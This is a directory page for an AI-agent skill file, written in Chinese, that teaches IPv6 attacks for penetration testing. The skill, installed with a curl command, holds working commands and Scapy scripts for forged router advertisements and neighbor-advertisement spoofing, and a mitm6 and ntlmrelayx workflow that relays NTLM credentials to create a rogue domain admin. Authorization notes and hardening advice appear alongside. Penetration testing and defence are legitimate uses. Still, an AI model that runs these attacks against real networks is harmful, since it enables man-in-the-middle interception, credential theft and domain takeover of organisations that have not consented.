exploiting-ipv6-vulnerabilities

识别并利用 IPv6 特有漏洞,包括 SLAAC 欺骗、路由器通告泛洪和 IPv6 隧道, 在授权评估中测试双栈安全控制和 IPv6 感知网络防御。

9 stars

Best use case

exploiting-ipv6-vulnerabilities is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

识别并利用 IPv6 特有漏洞,包括 SLAAC 欺骗、路由器通告泛洪和 IPv6 隧道, 在授权评估中测试双栈安全控制和 IPv6 感知网络防御。

Teams using exploiting-ipv6-vulnerabilities should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/exploiting-ipv6-vulnerabilities/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/exploiting-ipv6-vulnerabilities/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/exploiting-ipv6-vulnerabilities/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How exploiting-ipv6-vulnerabilities Compares

Feature / Agentexploiting-ipv6-vulnerabilitiesStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

识别并利用 IPv6 特有漏洞,包括 SLAAC 欺骗、路由器通告泛洪和 IPv6 隧道, 在授权评估中测试双栈安全控制和 IPv6 感知网络防御。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 利用 IPv6 漏洞

## 适用场景

- 测试双栈(dual-stack)网络是否对 IPv4 和 IPv6 流量实施了一致的安全控制
- 演示在仅官方支持 IPv4 的网络上,未受管理的 IPv6 带来的风险
- 利用 SLAAC(无状态地址自动配置)和路由器通告(Router Advertisement)机制,通过 IPv6 实施中间人(MITM)攻击
- 测试 IPv6 感知防火墙规则以及 IDS/IPS 对 IPv6 特有攻击模式的检测能力
- 识别 IPv6 隧道协议(6to4、Teredo、ISATAP),这些协议可绕过仅限 IPv4 的安全控制

**禁止在以下情况使用**:未获书面授权的生产网络、IPv6 中断可能导致安全问题的系统,或针对网络基础设施的拒绝服务攻击。

## 前置条件

- 明确 IPv6 测试范围和批准技术的书面授权
- 已安装 THC-IPv6 工具包、Scapy 和 mitm6 的 Kali Linux
- 目标网络段上支持 IPv6 的网络接口
- 了解 IPv6 寻址、SLAAC、NDP 和路由器通告
- 用于捕获和分析 IPv6 流量的 Wireshark

## 工作流程

### 步骤 1:枚举网络上的 IPv6

```bash
# 检查本地接口上是否启用了 IPv6
ip -6 addr show

# 使用组播发现本地链路上的 IPv6 主机
ping6 -c 3 ff02::1%eth0
# ff02::1 = 全节点组播地址

# 使用 THC-IPv6 工具包中的 alive6 发现主机
sudo alive6 eth0

# 使用 Nmap 扫描启用 IPv6 的主机
nmap -6 --script ipv6-multicast-mld-list -e eth0
nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0

# 检查网络上的路由器通告
sudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'
# Type 134 = 路由器通告

# 使用 radvdump 捕获现有 RA
sudo radvdump

# 检查 DHCPv6 服务器
sudo dhclient -6 -v eth0 --request-only
```

### 步骤 2:使用 mitm6 执行基于 SLAAC 的 MITM 攻击

```bash
# mitm6 利用 Windows 主机在看到路由器通告时通过 DHCPv6 请求
# IPv6 配置的默认行为

# 启动 mitm6 成为 IPv6 DNS 服务器
sudo mitm6 -d example.com -i eth0

# mitm6 执行以下操作:
# 1. 发送路由器通告以在受害者上启用 IPv6
# 2. 响应 DHCPv6 请求,将自身指定为 DNS 服务器
# 3. 受害者现在通过 IPv6 向攻击者发送 DNS 查询
# 4. 攻击者可以使用欺骗的 DNS 回复进行响应

# 结合 ntlmrelayx 进行凭据中继
sudo impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot

# 此漏洞利用:
# 1. WPAD(Web 代理自动发现)通过 DNS
# 2. Windows 向 WPAD 代理发送 NTLM 身份验证
# 3. ntlmrelayx 将凭据中继到目标服务器
```

### 步骤 3:路由器通告欺骗

```python
#!/usr/bin/env python3
"""用于授权 IPv6 测试的虚假路由器通告。"""

from scapy.all import *
from scapy.layers.inet6 import *

# 构造路由器通告数据包
# 这使攻击者看起来像默认 IPv6 路由器

iface = "eth0"
attacker_mac = get_if_hwaddr(iface)
attacker_ipv6 = get_if_addr6(iface)

ra = (
    Ether(dst="33:33:00:00:00:01") /  # 全节点组播
    IPv6(src=attacker_ipv6, dst="ff02::1") /
    ICMPv6ND_RA(
        routerlifetime=1800,     # 通告作为路由器持续 30 分钟
        prf=1,                   # 高优先级
        M=0,                     # 无托管标志(使用 SLAAC)
        O=1                      # 其他配置通过 DHCPv6(DNS)
    ) /
    ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) /
    ICMPv6NDOptPrefixInfo(
        prefix="2001:db8:dead::",  # 虚假前缀
        prefixlen=64,
        L=1,
        A=1,
        validlifetime=3600,
        preferredlifetime=1800
    ) /
    ICMPv6NDOptRDNSS(
        dns=[attacker_ipv6],  # 攻击者作为 DNS 服务器
        lifetime=1800
    )
)

print(f"[*] 从 {attacker_ipv6} 发送虚假路由器通告")
print(f"[*] 通告前缀 2001:db8:dead::/64")
sendp(ra, iface=iface, count=5, inter=2)
print("[*] RA 数据包已发送。受害者将使用虚假前缀配置 IPv6。")
```

### 步骤 4:IPv6 邻居发现攻击

```bash
# 邻居通告欺骗(IPv6 中 ARP 欺骗的等价操作)
# 使用 THC-IPv6 的 parasite6 工具
sudo parasite6 eth0

# 或使用 Scapy 构造
python3 << 'PYEOF'
from scapy.all import *
from scapy.layers.inet6 import *

# 欺骗邻居通告以重定向流量
target_ipv6 = "2001:db8::50"    # 受害者 IPv6 地址
gateway_ipv6 = "2001:db8::1"    # 网关 IPv6 地址
attacker_mac = get_if_hwaddr("eth0")

# 告诉受害者我们是网关
na = (
    Ether(dst="33:33:00:00:00:01") /
    IPv6(src=gateway_ipv6, dst="ff02::1") /
    ICMPv6ND_NA(
        tgt=gateway_ipv6,
        R=1, S=0, O=1  # 路由器标志、Override 标志
    ) /
    ICMPv6NDOptDstLLAddr(lladdr=attacker_mac)
)

print("[*] 发送欺骗的邻居通告...")
sendp(na, iface="eth0", count=100, inter=1)
PYEOF

# 使用 ndpmon 检测 NDP 欺骗
sudo ndpmon -i eth0
```

### 步骤 5:IPv6 隧道检测与利用

```bash
# 检测 Teredo 隧道(IPv6 over UDP 端口 3544)
sudo tshark -i eth0 -Y "udp.port == 3544" -T fields -e ip.src -e ip.dst

# 检测 6to4 隧道(协议 41)
sudo tshark -i eth0 -Y "ip.proto == 41" -T fields -e ip.src -e ip.dst

# 检测 ISATAP 隧道
sudo tshark -i eth0 -Y "ip.proto == 41 and ipv6.dst contains \"::5efe:\"" -c 10

# 扫描启用 Teredo 的主机
nmap -6 -sU -p 3544 --open 10.10.0.0/24

# 测试 IPv6 隧道是否绕过 IPv4 防火墙规则
# 如果允许 Teredo,IPv6 流量可以绕过仅限 IPv4 的防火墙
curl -6 http://[2001:db8::50]:8080/  # 通过 IPv6 隧道访问

# 在防火墙上阻止不需要的 IPv6 隧道
# iptables:阻止协议 41(6to4、ISATAP)和 Teredo
sudo iptables -A INPUT -p 41 -j DROP
sudo iptables -A OUTPUT -p 41 -j DROP
sudo iptables -A INPUT -p udp --dport 3544 -j DROP
sudo iptables -A OUTPUT -p udp --dport 3544 -j DROP
```

### 步骤 6:测试 IPv6 防火墙规则并记录

```bash
# 验证 ip6tables 规则是否到位
sudo ip6tables -L -n -v

# 测试 IPv6 防火墙是否反映了 IPv4 规则
# 常见疏漏:IPv4 防火墙严格,IPv6 完全开放
nmap -6 -sS -p- <target_ipv6_address>

# 比较 IPv4 和 IPv6 扫描结果
nmap -sS -p 1-1024 10.10.20.10 -oA ipv4_scan
nmap -6 -sS -p 1-1024 2001:db8::10 -oA ipv6_scan
diff <(grep "open" ipv4_scan.nmap) <(grep "open" ipv6_scan.nmap)

# 检查交换机上的 IPv6 RA Guard
# Cisco: show ipv6 snooping policies
# 如果未启用,记录为发现项

# 清理:停止所有 IPv6 攻击工具
sudo killall mitm6 parasite6 2>/dev/null
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **SLAAC(无状态地址自动配置)** | IPv6 机制,主机无需 DHCP 服务器即可从路由器通告自动配置地址,可被虚假 RA 注入利用 |
| **路由器通告(RA,Router Advertisement)** | 路由器发出的 ICMPv6 消息,宣布网络前缀、默认网关和 DNS 配置;虚假 RA 可实现 MITM 攻击 |
| **NDP(邻居发现协议,Neighbor Discovery Protocol)** | IPv6 替代 ARP,使用 ICMPv6 进行地址解析、路由器发现和重复地址检测;易受欺骗攻击 |
| **mitm6** | 利用 Windows DHCPv6 偏好成为 IPv6 DNS 服务器的工具,可实现 DNS 欺骗和 NTLM 凭据中继 |
| **RA Guard** | 交换机级别安全功能,过滤虚假路由器通告,防止未授权主机充当 IPv6 路由器 |
| **IPv6 隧道** | 将 IPv6 数据包封装在 IPv4 内(6to4、Teredo、ISATAP),可绕过仅限 IPv4 的安全控制和防火墙 |

## 工具与系统

- **mitm6**:利用 SLAAC 和 DHCPv6 成为 Windows 主机 DNS 服务器的 IPv6 MITM 工具
- **THC-IPv6 Toolkit**:全面的 IPv6 攻击工具包,包括 alive6、parasite6、fake_router6 和泛洪工具
- **Scapy**:用于构造自定义 ICMPv6 路由器通告和邻居发现数据包的 Python 数据包操控工具
- **ndpmon**:IPv6 邻居发现协议监控器,检测虚假 RA 和 NDP 欺骗
- **Nmap**:支持完整 IPv6 的网络扫描器,包括组播发现和 IPv6 特定脚本

## 常见场景

### 场景:利用仅使用 IPv4 的企业网络上未受管理的 IPv6

**背景**:某公司在其企业网络上正式仅使用 IPv4,但 Windows 工作站默认启用了 IPv6。在一次内部渗透测试中,测试人员发现 IPv6 在 VLAN 上处于活动状态,且未部署任何 IPv6 安全控制(RA Guard、IPv6 ACL)。

**方法**:
1. 发现所有 Windows 工作站都有链路本地 IPv6 地址,并在监听路由器通告
2. 运行 mitm6 发送 DHCPv6 响应,成为 VLAN 上所有 Windows 主机的 IPv6 DNS 服务器
3. 配置 ntlmrelayx 将 WPAD 触发的 NTLM 身份验证中继到域控制器
4. 5 分钟内,从 12 台工作站捕获并中继 NTLM 凭据,获取对文件共享的访问权限
5. 成功将域管理员的 NTLM 哈希中继,创建新的域管理员账户
6. 记录缺乏 IPv6 安全控制使得在不利用任何传统漏洞的情况下实现了完整的域控制
7. 建议在不需要 IPv6 的地方禁用它、在交换机上部署 RA Guard,并在防火墙上阻止 DHCPv6

**注意事项**:
- 向网络泛洪路由器通告可能导致某些设备不稳定
- mitm6 会影响 VLAN 上所有 Windows 主机,而不仅仅是目标——确保范围涵盖所有潜在受影响主机
- 某些环境有依赖 IPv6 的服务(SCCM、某些 Azure 服务),当 IPv6 受到干扰时会中断
- 忘记检查可能提供替代攻击路径的 IPv6 隧道协议

## 输出格式

```
## IPv6 安全评估报告

**测试 ID**:IPV6-2024-001
**目标网络**:VLAN 10(10.10.10.0/24,无官方 IPv6)
**评估日期**:2024-03-15

### IPv6 发现

| 发现项 | 详情 |
|--------|------|
| 已启用 IPv6 的主机 | 147/150 台工作站(Windows 默认) |
| 链路本地地址 | 所有已发现主机上均活动 |
| 路由器通告 | 未检测到(无 IPv6 路由器) |
| DHCPv6 服务器 | 不存在 |
| RA Guard | 交换机上未配置 |
| IPv6 防火墙规则 | 无(ip6tables 为空) |

### 攻击结果

| 攻击 | 结果 | 影响 |
|------|------|------|
| mitm6 DNS 接管 | 成功 | 成为 147 台主机的 IPv6 DNS |
| WPAD NTLM 中继 | 成功 | 捕获 23 次 NTLM 身份验证 |
| 域管理员中继 | 成功 | 创建了虚假域管理员账户 |
| IPv6 端口扫描 | 成功 | 所有端口开放(无 ip6tables 规则) |

### 建议
1. 在所有接入层交换机上部署 RA Guard(严重)
2. 配置与 IPv4 防火墙规则匹配的 IPv6 ACL(严重)
3. 在不需要 IPv6 的地方通过组策略禁用 DHCPv6 客户端
4. 在防火墙上阻止 IPv6 隧道协议(6to4、Teredo)
5. 部署 IPv6 感知的 IDS 规则用于 NDP 欺骗检测
```

Related Skills

triaging-vulnerabilities-with-ssvc-framework

9
from killvxk/cybersecurity-skills-zh

使用 CISA 的利益相关方特定漏洞分类(SSVC)决策树框架对漏洞进行分类和优先排序,产出可操作的修复优先级:Track、Track*、Attend 或 Act。

testing-for-xxe-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。

testing-for-xss-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。

testing-for-xss-vulnerabilities-with-burpsuite

9
from killvxk/cybersecurity-skills-zh

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

testing-for-xml-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。

testing-for-open-redirect-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。

testing-for-json-web-token-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。

testing-for-business-logic-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

识别应用程序业务逻辑中的缺陷,这些缺陷允许价格操控、工作流绕过和权限提升,超出技术漏洞扫描器的检测范围。

testing-android-intents-for-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Android 进程间通信(IPC)中 Intent 的安全漏洞,包括 Intent 注入、未授权组件访问、 广播嗅探、PendingIntent 劫持和 ContentProvider 数据泄露。适用于评估 Android 应用导出组件 攻击面、测试 Intent 数据流或评估 IPC 安全性的场景。适合涉及 Android Intent 安全、IPC 测试、 导出组件分析或 Drozer 评估的相关请求。

prioritizing-vulnerabilities-with-cvss-scoring

9
from killvxk/cybersecurity-skills-zh

通用漏洞评分系统(CVSS)是由 FIRST(事件响应和安全团队论坛)维护的行业标准框架,用于评估漏洞严重性。CVSS v4.0 于 2023 年 11 月发布,引入了更精确的评分指标。

exploiting-zerologon-vulnerability-cve-2020-1472

9
from killvxk/cybersecurity-skills-zh

利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。

exploiting-websocket-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权安全评估中测试 WebSocket 实现的身份验证绕过、跨站劫持、注入攻击和不安全消息处理。